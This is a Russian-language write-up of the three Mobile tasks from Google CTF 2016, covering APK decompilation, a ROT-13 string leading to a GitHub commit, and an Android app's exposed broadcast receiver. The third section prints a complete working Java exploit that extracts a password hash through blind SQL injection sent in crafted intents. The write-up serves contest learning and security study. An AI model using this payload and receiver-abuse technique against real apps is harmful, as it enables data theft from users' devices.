Разбор заданий с Google CTF 2016: Mobile

Intro

Вчера закончились впервые организованные Google`ом соревнования по захвату флага — Google Capture The Flag 2016. Соревнования длились двое суток, за время которых нужно было выжать из предлагаемых тасков как можно больше флагов. Формат соревнования — task-based / jeopardy.

Как заявил гугл, задания для этого CTF составляли люди, являющиеся сотрудниками команды безопасности гугла. Поэтому интерес к данным таскам, как и к первому GCTF в целом, был достаточно велик — всего зарегистрировалось ~2500 команд, из которых, однако, только 900 набрали хотя бы 5 очков на решении тасков (опустим ботов и немногочисленные попытки играть нечестно). Принять участие можно было любому желающему, начиная от rookie и любителей безопасности и заканчивая легендами отраслей. Кроме того, можно было участвовать и в одиночку.

Большую часть от 2х суток я ковырял задания категории Mobile. И в этом хабе представлены writeup`ы всех тасков этой категории. Гугл предложил всего 3 задания для Mobile (в других было по 5–6), но от этого они были, возможно, даже более качественными.

Ну ладно, вода закончилась, переходим к сути :)

1. Ill Intentions

Таск звучит так:

Do you have have ill intentions?
Ill Intentions.APK

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 150 очков.

Итак, перед нами APK и больше ничего. Первое, что приходит на ум — установка пакета на эмулятор и декомпиляция пакета. Этим и займемся.
Здесь и далее не будем останавливаться на технических деталях, но все же стоит сказать, что сделать декомпайл с недавних пор стало можно с помощью полностью автоматизированной GUI-тулзы APK Studio. С ее помощью можно автоматизировать процесс декомпиляции и последующей сборки+подписи APK. Понятно, что весь «автомат» строится на той же связке apktool+dex2jar+(java декомпилятор, например jd). Но я предпочитаю «старинку» и произвожу декомпиляцию APK в полу-ручном режиме aka «apktool+dex2jar+jd-gui+(набор своих скриптов)».

Попытаемся установить «недобрые намерения» на эмулятор, предварительно посмотрев минимальную версию SDK Android:

c0fa22a0e6984be69d8c38cecb7ddb39.png

У меня в распоряжении эмуляторов с шестым андройдом (Marshmallow) и на 1 версию ниже не оказалось, поэтому я решил пойти другим путем: преобразовать низкоуровневый Smali-код в Java код (classes.dex → JAR`ник) и уже из java-исходников реконструировать приложение. Однако, не все оказалось так сладко.

Если заглянуть в манифест приложения:

5995789ce9bd46ca9e00e9f09f8230b7.png

то там можно увидеть 4 активности, первая из которых не представляет никакого интереса, а последующие 3 явно говорят своими именами, что они причастны к флагу. Посмотрев в реконструированный Java-код любой из тех трёх можно увидеть интересную вещь:

96587965e7704570886ddbff71c2d1c0.png

И вещь заключается в том, что рутина по вычислению флага частично вынесена на более низкий уровень кода — на уровень JNI.
Что ж, руки чешутся сразу же отыскать в нативном C++ коде функцию computeFlag () . Для этого нам нужно произвести дизассемблирование нативной библиотеки (.so) hello-jni.
Но то, что там (а точнее, чего там нет) не обрадует:

6b73da0f09b7419f9f57b3328a3b5136.png

IDA не говорит ни слова про computeFlag () в либе… да и в Java-коде нет нигде вызова этой функции — только импорт.
Делаем вывод, что ребята из гугла таким образом просто постебались =)

Возвращаемся к идее о реконструкции приложения (создание своего идентичного APK). Миграция Java-кода и его «дореконструкция» не составляет проблемы, но вот что реально может их создать — импорт нативных функций. Их имена уже были выше, вот они:

  • Java_com_example_application_IsThisTheRealOne_perhapsThis
  • Java_com_example_application_ThisIsTheRealOne_orThat
  • Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis

Последняя функция говорит за себя (стеб от гугла уже закончился) — если ее дизассемблировать и посмотреть, то можно будет увидеть, что из нее возвращается статическая строчка — «Told you so!», поэтому про нее сразу забываем.

Имена нативных функций содержат название пакета+название класса, из которого (и только из которого) они могут быть вызваны в Java-коде — в противном случае на стадии вызова функции из высокоуровневого кода возникнет ошибка. Поэтому реставрируемое приложение должно в точности повторять имена, используемые в оригинальном APK, а вызов нативных JNI-функций должен происходить из соответствующих Java-классов.

Зная это, производим реставрацию кода. Код класса ThisIsTheRealOne и IsThisTheRealOne во многом идентичны — различается только рутина по вычислению строки (флага?) в методе клика по кнопке onClick ()(см.выше).
Произведем модификацию кода, обрабатывающего клик, добавив в его конец вывод вычисленных строк в лог Android-приложения:

Log.d("CTF", i.getStringExtra("msg"));

Собрав приложение, открывать активности (ThisIsTheRealOne и IsThisTheRealOne) придется с помощью ADB утилиты AM (activity manager), т.к интерфейс приложения не позволяет этого делать в gui-режиме (хотя это можно исправить, дописав 5 строчек кода, но лень).

Вот вычисленная строка из активности ThisIsTheRealOne:

KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!

А вот из IsThisTheRealOne:

Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}

Вместе с флагом, который говорит о том, что гугл плохо не шутит. Снова стёб? :)

2. Can you repo it?

Таск звучит так:

Do you think the developer of Ill Intentions knows how to set up public repositories?

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось всего 5 очков.

Во время исследования «нехороших намерений» под руку попался файл ресурсов Android приложения, содержащий строки. Там обычно много всего интересного, и этот раз не стал исключением:

94ec5f0ab6cd446d866efc71948a6e87.png

Сразу бросается в глаза flag, частотный криптоанализ содержимого которого показывает, что это, скорее всего, шифр Цезаря. И правда, оказался Rot-13, но гугл стебется над тем, кто правда думает, что даже 5 баллов могут даться так просто. Делаем Rot-13(Rot-13()):

Did you think it would be that easy?

Ок. Придется думать, что ж. Нужно найти некий публичный репозиторий. Скорее всего, это GitHub. И для того, чтобы найти на его просторах флаг, необходимо что-то поистине уникальное (имя юзера или репозитория). Прямо под флагом как раз то, что и может быть таким «поистине уникальным»:

l33tdev42

Простой гуглинг не дает результатов, что поначалу как-то выбивает из сил…, но перейдя на гитхаб и произведя поиск «l33tdev42» там, натыкаемся на уникального юзера:

472c8011e7964cc98cd231e191e9c8d6.png

У которого 1 единственный проект с 3 коммитами… проект простоват, а коммита целых три:

39a27660738a46a59e002ddd8a5ff144.png

Внутри последнего как раз нужный флаг:

9d62ad2d093b4eecbc5641c05efd08ac.png

ctf{TheHairCutTookALoadOffMyMind}

Признаться, 5 баллов — все же маловато за такой таск…
Это был самый первый таск из Mobile, который удалось затащить. После него показалось, что в тасках за 150 и более находятся в принципе нерешабельные задачи, но, как уже и говорилось, гугл стебется :)

3. Little Bobby Application

Таск звучит так:

Find the vulnerability, develop an exploit, and when you’re ready,
submit your APK to bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.

BobbyApplication_CTF.apk

По ссылке:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs…

По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 250 очков.

Нужно найти уязвимость в Android-приложении, написать эксплоит и с помощью этого эксплоита вытащить флаг из реального юзера. Анализ работоспособности эксплоита происходит на эмуляторе на сервере. Спустя в среднем 13 минут возвращается лог приложения-эксплоита, в который можно писать все, что угодно, но лучше туда писать флаг, конечно же.
На первый взгляд страшновато, но не стоит забывать о том, что гугл любит стебаться.

Вот как выглядит Bobby-приложение:

086d8bb465e348b7bc9c32da96c31e0c.png

Простенькая форма для авторизации и возможность регистрации. Что ж, декомпайл-тайм!
Декомпиляция показала, что приложение использует Sqlite для хранения данных с интересно спроектированной таблицей Users:

98572adf00854c598defccd8ae27bb0e.png

Флаг говорит о том, что инъекция — это все, что нужно сделать, чтобы получить флаг.
Динамическая часть флага — md5 от пароля пользователя. Этот-то хэш и нужно утащить с помощью эксплоита, чтобы «собрать» конечный флаг.

Ищем уязвимость.

Этот процесс прошел достаточно быстро. Приложение содержало всего 8 классов и найти уязвимый модуль не составило проблемы. Уязвимость заключалась в следующем: при старте приложение регистрировало приемник широковещательных событий, поступаемых извне:

336f313a65464ebb8e45d1def6b7c1d8.png

Обработчиком входящих broadcast`ов выступал класс-наследник BroadcastReceiver, в котором содержался следующий код:

ca1a912267454c5ba58f3840e8ded569.png

А вот имплементация метода checkLogin () из тела обработчика входящего broadcast`а:

f9311b558d57425098014250bb78d48f.png

Как видно, ни метод, ни обработчик броадкаста не фильтруют входящие данные, которые потом используются при генерации «сырого» SQL-запроса к базе.
Ручная эксплуатация показала, что там действительно дырка в безопасности, позволяющая модифицировать запрос через форму.

Очевидно, что перед нами уязвимость Blind SQLi — метод checkLogin () возвращает статические строки, независимые от инпута.
Но тем не менее в зависимости от количества выбранных запросом записей (которые можно контролировать эксплоитом) мы можем управлять поведением этого метода, высасывая с каждым злонамеренным запросом 1 бит информации о любом поле таблицы БД (да и о самой БД и вообще о чем угодно), но нас интересует поле password, как уже говорилось выше, для «сборки» флага.

Пишем эксплоит.

Алгоритм эксплоита:

  1. Запустить Bobby-приложение для того, чтобы оно запустило приемник broadcast-событий
  2. Сформировать malicious intent для приемника с «злыми» данными внутри
  3. Слать широковещательное событие с интентом, содержащим вредоносные данные
  4. Получать ответ от приемника Bobby-приложения о результате
  5. Повторять до тех пор, пока все нужные данные не будут посимвольно «высосаны»

Для реализации эксплоита достаточно двух классов. Код получился небольшой, поэтому он приведен ниже:

Главная активность эксплоита:

public class Main extends Activity {
    
    // Поиск символов по всей таблице символов Unicode
    static int L = 0, R = (int)Math.pow(2,16);
    public static int symbolNum = 0;
    
    public static Main activity = null;
    public static StringBuilder flag = new StringBuilder();

    public static void SendBroadcast()
    {        

        if(Main.symbolNum>32)
        {
            Main.Finish();
            return;
        }

        // Формируем вредоносное намерение.
        // Эксплуатация уязвимости будет происходить с использованим бинарного поиска
        int M = (L+R)/2;

        Intent maliciousIntent = new Intent();
        maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
        maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
        maliciousIntent.putExtra("password", "1");
        activity.sendBroadcast(maliciousIntent);
        
    }

    public static void Finish()
    {
        // Выводим в лог найденный флаг
        Log.d("FLAG", Main.flag.toString());
        Main.activity.finish();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        activity = this;

        // Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения
        IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
        registerReceiver(new MalReceiver(), filter);

        // Запускаем Bobby-приложение
        // (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)
        PackageManager pm = getPackageManager();
        Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
        if (intent != null){
            startActivity(intent);
        }

        // Ждем некоторое время, пока активность вместе с интересующим приемником развернется
        Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                SendBroadcast();
            }
        }, 2000);

    }

}

Приемник ответов от Bobby:

public class MalReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

        // Получаем ответ от Bobby-приложения
        String answer = intent.getStringExtra("msg");

        // SQL TRUE
        if(answer.compareToIgnoreCase("Incorrect password")==0)
        {
            // Ищем дальше
            Main.L = (Main.L + Main.R)/2;
        }
        // SQL FALSE
        else{
            // Ищем дальше
            Main.R = (Main.L + Main.R)/2;
        }

        // Нашли N-ый символ хэша пароля
        if(Main.R-Main.L <= 1)
        {
            Main.flag.append((char)Main.R);
            Main.symbolNum++;
            Main.L = 0; Main.R = (int)Math.pow(2,16);
        }

        Main.SendBroadcast();

    }
}

После этого осталось только отправить эксплоит на сервер, чтобы его протестировали.
Через 15 минут…

Гугл возвращает долгожданный лог, в котором обнаруживаем:

f9beb8ae64694b869d2be01a7e8525d4.png

Осталось плевое дело — подставить во флаг полученный хэш:

ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}

Вот и все.

Теперь немного о том, как гугл стебался над теми, кто пытался решить этот таск. Это было довольно хитро — сразу же после старта эксплоита с Bobby-приложением на эмуляторе Android на сервере стартовала обезьяна (было видно в возвращенном логе), которая «бомбила» рандомными действиями все компоненты системы, из-за чего, например, время от времени закрывалась активность эксплоита. Поначалу было неясно, что прерывало работу эксплоита — ошибок о вылетах в логе не было, возникали впечатления, что там ограничение по времени. Anyway, удачно высосать флаг удалось только с 3 попытки.

В коде экспоита выше приведен минимальный набор действий, демонстрирующий общую концепцию.
То, что реально получилось на практике, содержит тонну кода по защите от monkey, по запрету на запуск более 1 экземпляра приемника на стороне Bobby и т.д.

Outro

Так как я сосредоточился на безопасности мобильных приложений, то в полной мере оценить «фан» тасков от гугла мне едва ли удалось, но исходя из того, что пришлось преодолеть, могу точно сказать, что GCTF получился довольно интересным, и во многом интерес обеспечен многочисленными попытками стеба над участниками. В такие моменты, когда ты понимаешь, что над тобой снова «постебались», чувствуешь прилив какой-то «черной» мотивации =)

Спасибо, гугл, было интересно ;)

© Habrahabr.ru